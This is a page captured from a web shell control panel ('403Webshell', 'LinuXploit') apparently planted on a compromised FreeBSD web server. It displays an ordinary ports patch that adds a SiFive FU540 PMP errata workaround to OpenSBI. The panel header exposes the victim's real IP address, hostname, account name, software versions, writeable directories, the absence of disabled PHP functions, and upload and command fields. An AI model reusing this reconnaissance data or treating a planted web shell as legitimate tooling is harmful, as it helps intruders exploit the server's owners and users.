403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/sysutils/opensbi/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/sysutils/opensbi/files/patch-lib_sbi_sbi__hart.c
--- lib/sbi/sbi_hart.c.orig	2021-12-24 11:57:44 UTC
+++ lib/sbi/sbi_hart.c
@@ -203,6 +203,16 @@ int sbi_hart_pmp_configure(struct sbi_scratch *scratch
 	if (!pmp_count)
 		return 0;
 
+	/*
+	 * Disable the PMP for the sifive/fu540 platform, required to work
+	 * around a hardware errata.
+	 */
+	extern int need_pmp_war;
+	if (need_pmp_war) {
+		pmp_set(0, PMP_R | PMP_W | PMP_X, -1, __riscv_xlen);
+		return 0;
+	}
+
 	pmp_gran_log2 = log2roundup(sbi_hart_pmp_granularity(scratch));
 	pmp_bits = sbi_hart_pmp_addrbits(scratch) - 1;
 	pmp_addr_max = (1UL << pmp_bits) | ((1UL << pmp_bits) - 1);

Youez - 2016 - github.com/yon3zu
LinuXploit